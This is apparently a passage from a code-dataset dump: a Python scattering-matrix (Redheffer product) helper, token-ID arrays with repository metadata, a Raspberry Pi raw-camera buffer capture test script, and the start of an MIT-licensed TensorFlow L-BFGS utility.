assert type(SA) == np.ndarray, 'not np.matrix'
assert type(SB) == np.ndarray, 'not np.matrix'
I = 1;
# once we break every thing like this, we should still have matrices
SA_11 = SA[0, 0]; SA_12 = SA[0, 1]; SA_21 = SA[1, 0]; SA_22 = SA[1, 1];
SB_11 = SB[0, 0]; SB_12 = SB[0, 1]; SB_21 = SB[1, 0]; SB_22 = SB[1, 1];
D = 1.0/(I-SB_11*SA_22);
F = 1.0/(I-SA_22*SB_11);
SAB_11 = SA_11 + SA_12*D*SB_11*SA_21;
SAB_12 = SA_12*D*SB_12;
SAB_21 = SB_21*F*SA_21;
SAB_22 = SB_22 + SB_21*F*SA_22*SB_12;
SAB = np.array([[SAB_11, SAB_12],[SAB_21, SAB_22]])
return SAB
def extend(vals, inds, shape):
""" Makes an array of shape `shape` where indices `inds` have vales `vals`
"""
z = np.zeros(shape, dtype=vals.dtype)
z[inds] = vals
return z
| [
1,
9995,
13,
10444,
681,
3667,
1907,
1304,
297,
278,
1667,
775,
29889,
13,
12256,
29923,
29901,
727,
881,
367,
694,
1120,
468,
3665,
3168,
1244,
29892,
871,
8656,
12655,
29914,
26167,
2272,
13,
15945,
29908,
13,
13,
5215,
12655,
408,
7442,
13,
3166,
4560,
2272,
29889,
29880,
979,
29887,
1053,
29363,
572,
2784,
13,
3166,
4560,
2272,
29889,
20640,
675,
1053,
1506,
296,
29939,
13,
13,
13,
1753,
11791,
11569,
29898,
615,
29918,
1111,
12352,
29892,
330,
2003,
29892,
921,
7720,
29892,
343,
7720,
1125,
13,
1678,
9995,
29871,
13,
1678,
16969,
278,
19554,
16402,
27506,
4327,
975,
263,
1855,
29899,
3493,
27716,
29871,
13,
1678,
3342,
491,
525,
29916,
7720,
742,
525,
29891,
7720,
742,
15712,
2183,
263,
1353,
310,
383,
29911,
16127,
29871,
13,
1678,
525,
615,
29918,
1111,
12352,
29915,
3342,
975,
263,
731,
310,
9522,
771,
1052,
12047,
525,
29887,
2003,
4286,
13,
1678,
910,
1033,
367,
805,
287,
701,
1549,
385,
285,
615,
740,
541,
3971,
763,
445,
372,
338,
29871,
13,
1678,
901,
2498,
408,
591,
1016,
29915,
29873,
505,
304,
5376,
411,
6856,
322,
24094,
5626,
29889,
13,
1678,
9995,
13,
1678,
313,
29916,
4467,
29882,
29892,
343,
4467,
29882,
29897,
353,
7442,
29889,
4467,
29882,
7720,
29898,
29916,
7720,
29892,
343,
7720,
29897,
13,
1678,
11791,
11569,
353,
7442,
29889,
3298,
359,
29898,
29916,
4467,
29882,
29889,
12181,
29892,
26688,
29922,
9302,
29889,
19676,
29896,
29906,
29947,
29897,
13,
13,
1678,
396,
11190,
871,
278,
5412,
7117,
13,
1678,
313,
29887,
29918,
13092,
29892,
1399,
29918,
13092,
29897,
353,
7442,
29889,
13092,
29898,
29887,
2003,
29892,
736,
29918,
2248,
29922,
5574,
29892,
9685,
29922,
29896,
29897,
13,
13,
1678,
363,
1399,
29887,
297,
1399,
29918,
13092,
29901,
13,
4706,
11791,
11569,
4619,
11791,
29918,
1111,
12352,
29961,
513,
29887,
14178,
9302,
29889,
4548,
29898,
29896,
29926,
29930,
29887,
2003,
29961,
29900,
29892,
1399,
29887,
14178,
29916,
4467,
29882,
718,
320,
13,
462,
632,
29896,
29926,
29930,
29887,
2003,
29961,
29896,
29892,
1399,
29887,
14178,
962,
12094,
29897,
13,
13,
1678,
396,
396,
1938,
278,
921,
29899,
322,
343,
29899,
9067,
29879,
16949,
29871,
13,
1678,
396,
396,
306,
5456,
445,
541,
769,
16387,
372,
1838,
29915,
29873,
11157,
3099,
13,
1678,
396,
313,
29887,
29916,
29918,
29884,
29892,
1399,
29916,
29897,
353,
7442,
29889,
13092,
29898,
29887,
2003,
29961,
29900,
29892,
584,
1402,
736,
29918,
262,
3901,
29922,
5574,
29897,
13,
1678,
396,
363,
474,
29916,
29892,
330,
29916,
297,
26985,
29898,
29887,
29916,
29918,
29884,
1125,
13,
1678,
396,
259,
1399,
29918,
4352,
353,
7442,
29889,
3062,
29898,
513,
29916,
1360,
861,
9601,
29900,
29962,
13,
1678,
396,
259,
313,
1927,
29918,
29884,
29892,
1399,
29891,
29897,
353,
7442,
29889,
13092,
29898,
29887,
2003,
29961,
29896,
29892,
1399,
29918,
4352,
1402,
736,
29918,
2248,
29922,
5574,
29897,
13,
1678,
396,
259,
1840,
353,
7442,
29889,
3298,
359,
29898,
29916,
4467,
29882,
29889,
12181,
29892,
26688,
29922,
9302,
29889,
19676,
29896,
29906,
29947,
29897,
13,
1678,
396,
259,
363,
474,
29891,
29892,
10966,
297,
26985,
29898,
1927,
29918,
29884,
1125,
13,
1678,
396,
539,
396,
1596,
29898,
615,
29918,
1111,
12352,
29961,
513,
29916,
29961,
513,
29891,
29961,
19881,
5262,
2314,
13,
1678,
396,
539,
1840,
4619,
11791,
29918,
1111,
12352,
29961,
513,
29918,
4352,
29961,
513,
29891,
29961,
19881,
5262,
14178,
9302,
29889,
4548,
6278,
29896,
29926,
29930,
1927,
29930,
962,
12094,
29897,
13,
1678,
396,
259,
11791,
11569,
4619,
1840,
29930,
9302,
29889,
4548,
6278,
29896,
29926,
29930,
29887,
29916,
29930,
29916,
4467,
29882,
29897,
13,
13,
1678,
396,
396,
1815,
884,
367,
3342,
1549,
263,
360,
7818,
4636,
541,
372,
1838,
29915,
29873,
2833,
8473,
322,
29871,
13,
1678,
396,
396,
372,
29915,
29879,
334,
1201,
29930,
3370,
938,
6270,
29889,
13,
1678,
396,
1518,
29918,
5344,
353,
921,
4467,
29882,
29889,
690,
14443,
3552,
29899,
29896,
29892,
29871,
29896,
8106,
6333,
29898,
29887,
29918,
13092,
8999,
29900,
1402,
584,
2314,
718,
320,
13,
1678,
396,
1669,
343,
4467,
29882,
29889,
690,
14443,
3552,
29899,
29896,
29892,
29871,
29896,
8106,
6333,
29898,
29887,
29918,
13092,
8999,
29896,
1402,
584,
2314,
13,
13,
1678,
396,
270,
615,
29918,
5344,
353,
7442,
29889,
4548,
29898,
29896,
29926,
29930,
4548,
29918,
5344,
29897,
13,
1678,
396,
11791,
11569,
353,
270,
615,
29918,
5344,
29889,
6333,
29898,
615,
29918,
1111,
12352,
29961,
513,
29918,
13092,
14664,
690,
14443,
29898,
29916,
4467,
29882,
29889,
12181,
29897,
13,
1678,
396,
1596,
29898,
615,
11569,
29897,
13,
1678,
736,
11791,
11569,
13,
13,
13,
1753,
11791,
29906,
17619,
29898,
29880,
19704,
29892,
11791,
29918,
1111,
12352,
29892,
330,
2003,
1125,
13,
1678,
9995,
13,
1678,
8561,
263,
6862,
1409,
310,
27506,
7117,
2183,
263,
1353,
310,
963,
3342,
29871,
13,
1678,
975,
263,
731,
310,
9522,
771,
1052,
12047,
330,
2003,
29889,
13,
1678,
405,
29933,
29901,
740,
22602,
29915,
29873,
2289,
1063,
9528,
29892,
925,
15446,
777,
775,
29889,
13,
1678,
9995,
13,
1678,
565,
24094,
29889,
1853,
451,
297,
6024,
20970,
351,
7177,
742,
525,
17619,
2033,
29901,
13,
4706,
12020,
2216,
1888,
2037,
287,
2392,
703,
615,
29906,
17619,
3117,
871,
1736,
363,
29908,
320,
13,
462,
376,
29874,
24094,
16601,
408,
525,
17619,
29915,
470,
525,
20970,
351,
7177,
29915,
1159,
13,
13,
1678,
270,
29887,
29916,
353,
7442,
29889,
6897,
29898,
29880,
19704,
29889,
29890,
29896,
29961,
29900,
2314,
13,
1678,
270,
1927,
353,
7442,
29889,
6897,
29898,
29880,
19704,
29889,
29890,
29906,
29961,
29896,
2314,
13,
1678,
302,
29916,
353,
7442,
29889,
524,
23538,
9302,
29889,
6897,
29898,
9302,
29889,
3317,
29898,
29887,
2003,
29961,
29900,
29892,
584,
2314,
29914,
20726,
29916,
876,
13,
1678,
7098,
353,
7442,
29889,
524,
23538,
9302,
29889,
6897,
29898,
9302,
29889,
3317,
29898,
29887,
2003,
29961,
29896,
29892,
584,
2314,
29914,
29881,
1927,
876,
13,
1678,
302,
486,
327,
353,
29871,
29906,
29930,
23818,
718,
29871,
29896,
13,
1678,
302,
3637,
327,
353,
29871,
29906,
29930,
1460,
718,
29871,
29896,
13,
1678,
321,
567,
29918,
615,
353,
7442,
29889,
3298,
359,
3552,
29876,
486,
327,
29892,
302,
3637,
327,
511,
26688,
29922,
9302,
29889,
19676,
29896,
29906,
29947,
29897,
13,
1678,
330,
29916,
29918,
7720,
353,
7442,
29889,
279,
927,
6278,
23818,
29892,
302,
29916,
11877,
20726,
29916,
13,
1678,
10966,
29918,
7720,
353,
7442,
29889,
279,
927,
6278,
1460,
29892,
7098,
11877,
29881,
1927,
13,
13,
1678,
363,
432,
29954,
297,
3464,
29898,
29887,
2003,
29889,
12181,
29961,
29896,
29962,
1125,
13,
4706,
302,
29954,
353,
7442,
29889,
524,
23538,
29887,
2003,
7503,
29892,
432,
29954,
16261,
29961,
20726,
29916,
29892,
270,
1927,
2314,
13,
4706,
321,
567,
29918,
615,
29961,
23818,
718,
302,
29954,
29896,
29961,
29900,
1402,
7098,
718,
302,
29954,
29896,
29961,
29896,
5262,
353,
11791,
29918,
1111,
12352,
29961,
29926,
29954,
29962,
13,
13,
1678,
736,
313,
8961,
29918,
615,
29892,
330,
29916,
29918,
7720,
29892,
10966,
29918,
7720,
29897,
13,
13,
13,
1753,
4656,
29918,
1949,
29898,
9144,
29892,
1852,
29892,
4331,
29918,
2311,
29922,
29896,
29872,
29899,
29955,
1125,
13,
1678,
9995,
405,
4680,
1711,
17473,
403,
421,
9144,
29952,
281,
29889,
29878,
29889,
29873,
29889,
967,
2980,
421,
1191,
29952,
29871,
13,
1678,
421,
1191,
29952,
508,
367,
263,
12655,
1409,
310,
11472,
8267,
13,
1678,
421,
10568,
29918,
2311,
29952,
508,
367,
263,
1353,
470,
385,
1409,
310,
278,
1021,
8267,
408,
421,
1191,
29952,
9995,
13,
13,
1678,
405,
353,
1852,
29889,
2311,
13,
1678,
8267,
353,
1852,
29889,
12181,
13,
1678,
16030,
353,
7442,
29889,
3298,
359,
3552,
29940,
29892,
876,
13,
1678,
285,
29918,
1025,
353,
7876,
29898,
1191,
29897,
13,
13,
1678,
565,
1134,
29898,
10568,
29918,
2311,
29897,
1275,
5785,
29901,
13,
4706,
4331,
353,
4331,
29918,
2311,
29930,
9302,
29889,
2873,
3552,
29940,
876,
13,
1678,
1683,
29901,
13,
4706,
4331,
353,
4331,
29918,
2311,
29889,
336,
955,
580,
13,
13,
1678,
363,
474,
297,
3464,
29898,
29940,
1125,
13,
4706,
1852,
29918,
1482,
353,
1852,
29889,
1579,
8606,
580,
13,
4706,
1852,
29918,
1482,
29961,
29875,
29962,
4619,
4331,
29961,
29875,
29962,
13,
4706,
285,
29918,
1482,
29918,
29875,
353,
7876,
29898,
1191,
29918,
1482,
29889,
690,
14443,
29898,
12181,
876,
13,
4706,
16030,
29961,
29875,
29962,
353,
313,
29888,
29918,
1482,
29918,
29875,
448,
285,
29918,
1025,
29897,
847,
4331,
29961,
29875,
29962,
13,
13,
1678,
736,
16030,
29889,
690,
14443,
29898,
12181,
29897,
13,
13,
13,
1753,
325,
16865,
29918,
28107,
29918,
1949,
29898,
9144,
29892,
1852,
29918,
12772,
29892,
6576,
1125,
13,
1678,
9995,
341,
6926,
263,
325,
16865,
29918,
28107,
363,
278,
16259,
16291,
310,
263,
740,
421,
9144,
29952,
13,
1678,
281,
29889,
29878,
29889,
29873,
29889,
2980,
472,
2602,
421,
1191,
29918,
513,
29952,
773,
4331,
15786,
421,
24530,
29952,
9995,
13,
13,
1678,
822,
325,
16865,
29918,
14369,
29918,
1191,
29898,
423,
1125,
13,
4706,
1852,
29918,
513,
353,
1852,
29918,
12772,
29961,
423,
29962,
13,
4706,
4331,
353,
6576,
29961,
423,
29962,
13,
13,
4706,
822,
325,
16865,
29918,
28107,
29898,
9144,
29918,
449,
29892,
334,
5085,
1125,
13,
9651,
8267,
353,
6389,
29961,
1191,
29918,
513,
1822,
12181,
13,
9651,
954,
29918,
29886,
353,
6389,
29961,
1191,
29918,
513,
1822,
2311,
13,
9651,
4331,
353,
6576,
29961,
423,
29962,
13,
13,
9651,
822,
325,
16865,
29898,
29894,
1125,
13,
13,
18884,
325,
16865,
29918,
1949,
353,
7442,
29889,
3298,
359,
29898,
1949,
29918,
29886,
29897,
13,
18884,
363,
10377,
297,
3464,
29898,
1949,
29918,
29886,
1125,
13,
462,
1678,
6389,
29918,
1482,
353,
1051,
29898,
5085,
29897,
13,
462,
1678,
6389,
29918,
5705,
353,
6389,
29961,
1191,
29918,
513,
1822,
1579,
8606,
580,
13,
462,
1678,
6389,
29918,
5705,
29961,
666,
29962,
4619,
4331,
13,
462,
1678,
6389,
29918,
1482,
29961,
1191,
29918,
513,
29962,
353,
6389,
29918,
5705,
29889,
690,
14443,
29898,
12181,
29897,
13,
462,
1678,
4489,
29876,
29918,
29881,
1191,
353,
313,
9144,
10456,
5085,
29918,
1482,
29897,
448,
7876,
29918,
449,
6802,
10568,
13,
462,
1678,
325,
16865,
29918,
1949,
29961,
666,
29962,
353,
7442,
29889,
2083,
29898,
29894,
334,
4489,
29876,
29918,
29881,
1191,
29897,
13,
13,
18884,
736,
325,
16865,
29918,
1949,
13,
13,
9651,
736,
325,
16865,
13,
13,
4706,
736,
325,
16865,
29918,
28107,
13,
13,
1678,
325,
16865,
29918,
29885,
21079,
353,
5159,
13,
1678,
363,
29871,
423,
297,
3464,
29898,
2435,
29898,
1191,
29918,
12772,
22164,
13,
4706,
325,
16865,
29918,
29885,
21079,
29889,
4397,
29898,
29894,
16865,
29918,
14369,
29918,
1191,
29898,
423,
29922,
423,
876,
13,
13,
1678,
736,
18761,
29898,
29894,
16865,
29918,
29885,
21079,
29897,
13,
13,
13,
1753,
29363,
572,
2784,
29918,
1271,
29898,
29876,
29892,
323,
29896,
29892,
323,
29906,
1125,
13,
1678,
9995,
13,
1678,
1281,
4984,
29879,
263,
10515,
277,
713,
1763,
29872,
572,
2784,
29899,
1271,
29899,
1762,
29872,
572,
2784,
4636,
411,
302,
10930,
322,
29871,
13,
1678,
323,
29896,
297,
278,
937,
1948,
322,
323,
29906,
297,
278,
937,
1897,
310,
1432,
2908,
297,
278,
937,
13,
1678,
1948,
310,
10930,
29871,
13,
1678,
9995,
13,
1678,
302,
4260,
353,
323,
29896,
29889,
12181,
29961,
29900,
29962,
13,
1678,
282,
353,
938,
29898,
593,
327,
29914,
29876,
29897,
396,
22985,
2159,
310,
1269,
2908,
13,
1678,
323,
2922,
353,
7442,
29889,
3298,
359,
3552,
593,
327,
29892,
302,
4260,
511,
26688,
29922,
29911,
29896,
29889,
29881,
1853,
29897,
13,
1678,
363,
1399,
29896,
297,
3464,
29898,
29876,
1125,
13,
4706,
363,
1399,
29906,
297,
3464,
29898,
513,
29896,
29892,
302,
1125,
13,
9651,
304,
1022,
29896,
353,
323,
29896,
15625,
513,
29906,
29899,
513,
29896,
11877,
29886,
5919,
513,
29906,
29899,
513,
29896,
29974,
29896,
11877,
29886,
29962,
13,
9651,
304,
1022,
29906,
353,
323,
29906,
15625,
513,
29906,
29899,
513,
29896,
11877,
29886,
5919,
513,
29906,
29899,
513,
29896,
29974,
29896,
11877,
29886,
29962,
13,
9651,
323,
2922,
29961,
513,
29896,
29930,
29886,
5919,
513,
29896,
29974,
29896,
11877,
29886,
29892,
1399,
29906,
29930,
29886,
5919,
513,
29906,
29974,
29896,
11877,
29886,
29962,
353,
320,
13,
462,
1678,
29363,
572,
2784,
29898,
517,
1022,
29906,
29892,
304,
1022,
29896,
29897,
13,
13,
1678,
736,
7442,
29889,
3626,
29884,
29898,
29911,
2922,
29897,
718,
7442,
29889,
535,
29926,
29898,
9302,
29889,
3286,
4220,
29898,
9302,
29889,
3626,
29884,
29898,
29911,
2922,
29892,
29896,
4961,
13,
13,
1678,
736,
7442,
29889,
3626,
29884,
29898,
29911,
2922,
29897,
718,
7442,
29889,
535,
29926,
29898,
9302,
29889,
3286,
4220,
29898,
9302,
29889,
3626,
29884,
29898,
29911,
2922,
29892,
29896,
4961,
13,
13,
13,
1753,
679,
29918,
1767,
29898,
29916,
1125,
13,
1678,
9995,
13,
1678,
910,
338,
363,
746,
773,
278,
525,
1300,
468,
3665,
29915,
14998,
322,
366,
864,
304,
1439,
496,
385,
29871,
13,
1678,
4398,
3313,
322,
925,
3588,
372,
304,
263,
12655,
1409,
29889,
13,
1678,
9995,
13,
1678,
565,
851,
29898,
1853,
29898,
29916,
876,
1275,
9872,
1990,
525,
1300,
468,
3665,
29889,
23749,
29889,
23749,
29918,
1884,
267,
29889,
2588,
3313,
11041,
1115,
13,
4706,
736,
921,
3032,
1767,
13,
1678,
1683,
29901,
13,
4706,
736,
921,
13,
13,
13,
1753,
285,
2929,
345,
29898,
29888,
29892,
27981,
29892,
13069,
29892,
334,
5085,
1125,
13,
1678,
9995,
13,
1678,
4956,
345,
363,
17336,
285,
29898,
29916,
29892,
334,
5085,
29897,
353,
29871,
29900,
281,
29889,
29878,
29889,
29873,
29889,
17336,
921,
2629,
27981,
529,
921,
529,
13069,
13,
1678,
9995,
13,
1678,
6389,
29918,
1767,
353,
18761,
4197,
657,
29918,
1767,
29898,
1191,
29897,
363,
1852,
297,
6389,
2314,
13,
1678,
736,
1506,
296,
29939,
29898,
29888,
29892,
27981,
29892,
13069,
29892,
6389,
29922,
5085,
29918,
1767,
29897,
13,
13,
13,
1753,
1284,
29918,
28502,
342,
29898,
2378,
29892,
995,
29892,
405,
1125,
13,
1678,
9995,
13,
1678,
10987,
278,
18111,
310,
278,
405,
3161,
297,
385,
1409,
20471,
304,
263,
2183,
995,
13,
1678,
313,
3664,
278,
1556,
8543,
982,
541,
445,
338,
451,
263,
14137,
15593,
11410,
13,
1678,
9995,
29871,
13,
1678,
22645,
353,
7442,
29889,
6897,
29898,
2378,
448,
995,
467,
5085,
441,
580,
13,
1678,
736,
22645,
7503,
29940,
29962,
13,
13,
13,
1753,
4367,
354,
29888,
571,
16213,
29898,
8132,
29892,
1744,
1125,
396,
8132,
322,
317,
29933,
526,
1716,
29871,
29906,
29916,
29906,
13516,
29936,
13,
1678,
4974,
1134,
29898,
8132,
29897,
1275,
7442,
29889,
299,
2378,
29892,
525,
1333,
7442,
29889,
5344,
29915,
13,
1678,
4974,
1134,
29898,
1744,
29897,
1275,
7442,
29889,
299,
2378,
29892,
525,
1333,
7442,
29889,
5344,
29915,
13,
13,
1678,
306,
353,
29871,
29896,
29936,
13,
1678,
396,
2748,
591,
2867,
1432,
2655,
763,
445,
29892,
591,
881,
1603,
505,
13516,
13,
1678,
16698,
29918,
29896,
29896,
353,
16698,
29961,
29900,
29892,
29871,
29900,
1385,
16698,
29918,
29896,
29906,
353,
16698,
29961,
29900,
29892,
29871,
29896,
1385,
16698,
29918,
29906,
29896,
353,
16698,
29961,
29896,
29892,
29871,
29900,
1385,
16698,
29918,
29906,
29906,
353,
16698,
29961,
29896,
29892,
29871,
29896,
1385,
13,
1678,
317,
29933,
29918,
29896,
29896,
353,
317,
29933,
29961,
29900,
29892,
29871,
29900,
1385,
317,
29933,
29918,
29896,
29906,
353,
317,
29933,
29961,
29900,
29892,
29871,
29896,
1385,
317,
29933,
29918,
29906,
29896,
353,
317,
29933,
29961,
29896,
29892,
29871,
29900,
1385,
317,
29933,
29918,
29906,
29906,
353,
317,
29933,
29961,
29896,
29892,
29871,
29896,
1385,
13,
13,
1678,
360,
353,
29871,
29896,
29889,
29900,
14571,
29902,
29899,
1744,
29918,
29896,
29896,
29930,
8132,
29918,
29906,
29906,
416,
13,
1678,
383,
353,
29871,
29896,
29889,
29900,
14571,
29902,
29899,
8132,
29918,
29906,
29906,
29930,
1744,
29918,
29896,
29896,
416,
13,
13,
1678,
317,
2882,
29918,
29896,
29896,
353,
16698,
29918,
29896,
29896,
718,
16698,
29918,
29896,
29906,
29930,
29928,
29930,
1744,
29918,
29896,
29896,
29930,
8132,
29918,
29906,
29896,
29936,
13,
1678,
317,
2882,
29918,
29896,
29906,
353,
16698,
29918,
29896,
29906,
29930,
29928,
29930,
1744,
29918,
29896,
29906,
29936,
13,
1678,
317,
2882,
29918,
29906,
29896,
353,
317,
29933,
29918,
29906,
29896,
29930,
29943,
29930,
8132,
29918,
29906,
29896,
29936,
13,
1678,
317,
2882,
29918,
29906,
29906,
353,
317,
29933,
29918,
29906,
29906,
718,
317,
29933,
29918,
29906,
29896,
29930,
29943,
29930,
8132,
29918,
29906,
29906,
29930,
1744,
29918,
29896,
29906,
29936,
13,
13,
1678,
317,
2882,
353,
7442,
29889,
2378,
4197,
29961,
29903,
2882,
29918,
29896,
29896,
29892,
317,
2882,
29918,
29896,
29906,
16272,
29903,
2882,
29918,
29906,
29896,
29892,
317,
2882,
29918,
29906,
29906,
24960,
13,
1678,
736,
317,
2882,
13,
13,
13,
1753,
10985,
29898,
791,
29879,
29892,
1399,
29879,
29892,
8267,
1125,
13,
1678,
9995,
341,
6926,
385,
1409,
310,
8267,
421,
12181,
29952,
988,
16285,
421,
12772,
29952,
505,
659,
267,
421,
791,
29879,
29952,
29871,
13,
1678,
9995,
13,
1678,
503,
353,
7442,
29889,
3298,
359,
29898,
12181,
29892,
26688,
29922,
791,
29879,
29889,
29881,
1853,
29897,
13,
1678,
503,
29961,
12772,
29962,
353,
659,
29879,
13,
1678,
736,
503,
13,
2
] |
test.py | tom66/pirawcam | 0 | 167223 | #!/usr/bin/env python3
import numpy
import rawcam
import random
from hashlib import md5
while True:
rc = rawcam.init() # initializes camera interface, returns config object
#rc.pack = rawcam.Pack.NONE
#rc.unpack = rawcam.Unpack.NONE
#rawcam.set_timing(0, 0, 0, 0, 0, 0, 0)
rawcam.set_data_lanes(2)
rawcam.set_image_id(0x2a)
rawcam.set_buffer_size(2048*128)
rawcam.set_buffer_num(8)
rawcam.set_buffer_dimensions(2048, 128)
rawcam.set_pack_mode(0)
rawcam.set_unpack_mode(0)
rawcam.set_unpack_mode(0)
rawcam.set_encoding_fourcc(ord('G'), ord('R'), ord('B'), ord('G'))
#rawcam.set_encode_block_length(32)
#rawcam.set_embedded_data_lines(32)
rawcam.set_zero_copy(1)
rawcam.set_camera_num(1)
print("debug after init params")
rawcam.debug()
#rawcam.format_commit()
#print("debug after format_commit")
#rawcam.debug()
print("start rawcam")
rawcam.start()
print("debug after start")
rawcam.debug()
j=0
while j<50:
#print("iter")
#print(rawcam.buffer_count())
for i in range(rawcam.buffer_count()):
j+=1
buf = rawcam.buffer_get()
#print(dir(buf))
print ("[%4d] got buf %s, len=%d, hash=%s" % (j,buf,len(buf),md5(buf).hexdigest()))
arr=numpy.frombuffer(buf,dtype='uint8') # yes this is zerocopy
#print ("average sample value %d" % (arr.sum()/len(arr)))
#print(j)
if (1):
open(("rxtest/%02d.bin" % j),"wb").write(buf)
# do other stuff with buffer contents
rawcam.buffer_free(buf)
rawcam.stop()
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
29941,
13,
5215,
12655,
13,
5215,
10650,
11108,
13,
5215,
4036,
13,
3166,
6608,
1982,
1053,
22821,
29945,
13,
13,
8000,
5852,
29901,
13,
1678,
364,
29883,
353,
10650,
11108,
29889,
2344,
580,
396,
2847,
7093,
10656,
5067,
29892,
3639,
2295,
1203,
13,
1678,
396,
2214,
29889,
4058,
353,
10650,
11108,
29889,
16638,
29889,
29940,
12413,
13,
1678,
396,
2214,
29889,
348,
4058,
353,
10650,
11108,
29889,
2525,
4058,
29889,
29940,
12413,
13,
13,
1678,
396,
1610,
11108,
29889,
842,
29918,
9346,
292,
29898,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
29897,
13,
1678,
10650,
11108,
29889,
842,
29918,
1272,
29918,
6468,
267,
29898,
29906,
29897,
13,
1678,
10650,
11108,
29889,
842,
29918,
3027,
29918,
333,
29898,
29900,
29916,
29906,
29874,
29897,
13,
1678,
10650,
11108,
29889,
842,
29918,
9040,
29918,
2311,
29898,
29906,
29900,
29946,
29947,
29930,
29896,
29906,
29947,
29897,
13,
1678,
10650,
11108,
29889,
842,
29918,
9040,
29918,
1949,
29898,
29947,
29897,
13,
1678,
10650,
11108,
29889,
842,
29918,
9040,
29918,
6229,
5580,
29898,
29906,
29900,
29946,
29947,
29892,
29871,
29896,
29906,
29947,
29897,
13,
1678,
10650,
11108,
29889,
842,
29918,
4058,
29918,
8513,
29898,
29900,
29897,
13,
1678,
10650,
11108,
29889,
842,
29918,
348,
4058,
29918,
8513,
29898,
29900,
29897,
13,
1678,
10650,
11108,
29889,
842,
29918,
348,
4058,
29918,
8513,
29898,
29900,
29897,
13,
1678,
10650,
11108,
29889,
842,
29918,
22331,
29918,
17823,
617,
29898,
536,
877,
29954,
5477,
4356,
877,
29934,
5477,
4356,
877,
29933,
5477,
4356,
877,
29954,
8785,
13,
1678,
396,
1610,
11108,
29889,
842,
29918,
12508,
29918,
1271,
29918,
2848,
29898,
29941,
29906,
29897,
13,
1678,
396,
1610,
11108,
29889,
842,
29918,
17987,
7176,
29918,
1272,
29918,
9012,
29898,
29941,
29906,
29897,
13,
1678,
10650,
11108,
29889,
842,
29918,
9171,
29918,
8552,
29898,
29896,
29897,
13,
13,
1678,
10650,
11108,
29889,
842,
29918,
26065,
29918,
1949,
29898,
29896,
29897,
13,
13,
1678,
1596,
703,
8382,
1156,
2069,
8636,
1159,
13,
1678,
10650,
11108,
29889,
8382,
580,
13,
13,
1678,
396,
1610,
11108,
29889,
4830,
29918,
15060,
580,
13,
1678,
396,
2158,
703,
8382,
1156,
3402,
29918,
15060,
1159,
13,
1678,
396,
1610,
11108,
29889,
8382,
580,
13,
13,
1678,
1596,
703,
2962,
10650,
11108,
1159,
13,
1678,
10650,
11108,
29889,
2962,
580,
13,
13,
1678,
1596,
703,
8382,
1156,
1369,
1159,
13,
1678,
10650,
11108,
29889,
8382,
580,
13,
13,
1678,
432,
29922,
29900,
13,
1678,
1550,
432,
29966,
29945,
29900,
29901,
13,
4706,
396,
2158,
703,
1524,
1159,
13,
4706,
396,
2158,
29898,
1610,
11108,
29889,
9040,
29918,
2798,
3101,
13,
308,
13,
4706,
363,
474,
297,
3464,
29898,
1610,
11108,
29889,
9040,
29918,
2798,
580,
1125,
13,
9651,
432,
23661,
29896,
13,
9651,
18392,
353,
10650,
11108,
29889,
9040,
29918,
657,
580,
13,
9651,
396,
2158,
29898,
3972,
29898,
9721,
876,
13,
9651,
1596,
4852,
29961,
29995,
29946,
29881,
29962,
2355,
18392,
1273,
29879,
29892,
7431,
16328,
29881,
29892,
6608,
16328,
29879,
29908,
1273,
313,
29926,
29892,
9721,
29892,
2435,
29898,
9721,
511,
3487,
29945,
29898,
9721,
467,
20970,
7501,
342,
22130,
13,
632,
13,
9651,
3948,
29922,
23749,
29889,
3166,
9040,
29898,
9721,
29892,
29881,
1853,
2433,
13470,
29947,
1495,
396,
4874,
445,
338,
503,
261,
542,
2270,
13,
9651,
396,
2158,
4852,
12483,
482,
4559,
995,
1273,
29881,
29908,
1273,
313,
2749,
29889,
2083,
580,
29914,
2435,
29898,
2749,
4961,
13,
9651,
396,
2158,
29898,
29926,
29897,
13,
9651,
565,
313,
29896,
1125,
13,
18884,
1722,
29898,
703,
29878,
486,
342,
22584,
29900,
29906,
29881,
29889,
2109,
29908,
1273,
432,
511,
29908,
29893,
29890,
2564,
3539,
29898,
9721,
29897,
13,
462,
13,
18884,
396,
437,
916,
6433,
411,
6835,
8118,
13,
462,
13,
18884,
10650,
11108,
29889,
9040,
29918,
9021,
29898,
9721,
29897,
13,
13,
1678,
10650,
11108,
29889,
9847,
580,
13,
2
] |
base/lbfgs.py | bhillebrecht/CertifiedML-ODE | 0 | 167827 | ###################################################################################################
# Copyright (c) 2021 <NAME>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
###################################################################################################
import numpy
import tensorflow as tf
import numpy as np
from base.custom_lbfgs import lbfgs, Struct
def function_factory(model, loss_fcn, x, y, callback_fcn, epochs, x_test=None, y_test=None,
val_freq=1000, log_freq=1000, verbose=1):
"""
A factory to create a function required by the L-BFGS implementation.
:param tf.keras.Model model: an instance of `tf.keras.Model` or its subclasses
:param object loss_fcn: a function with signature loss_value = loss(y_pred, y_true)
:param tf.tensor x: input tensor of the training dataset
:param tf.tensor y: output tensor of the training dataset
:param object callback_fcn: callback function, which is called after each epoch
:param int epochs: number of epochs
:param tf.tensor x_test: input tensor of the test dataset, used to evaluate accuracy
:param tf.tensor y_test: output tensor of the test dataset, used to evaluate accuracy
:return: object: a function that has the signature of loss_value, gradients = f(model_parameters)
"""
# obtain the shapes of all trainable parameters in the model
shapes = tf.shape_n(model.trainable_variables)
n_tensors = len(shapes)
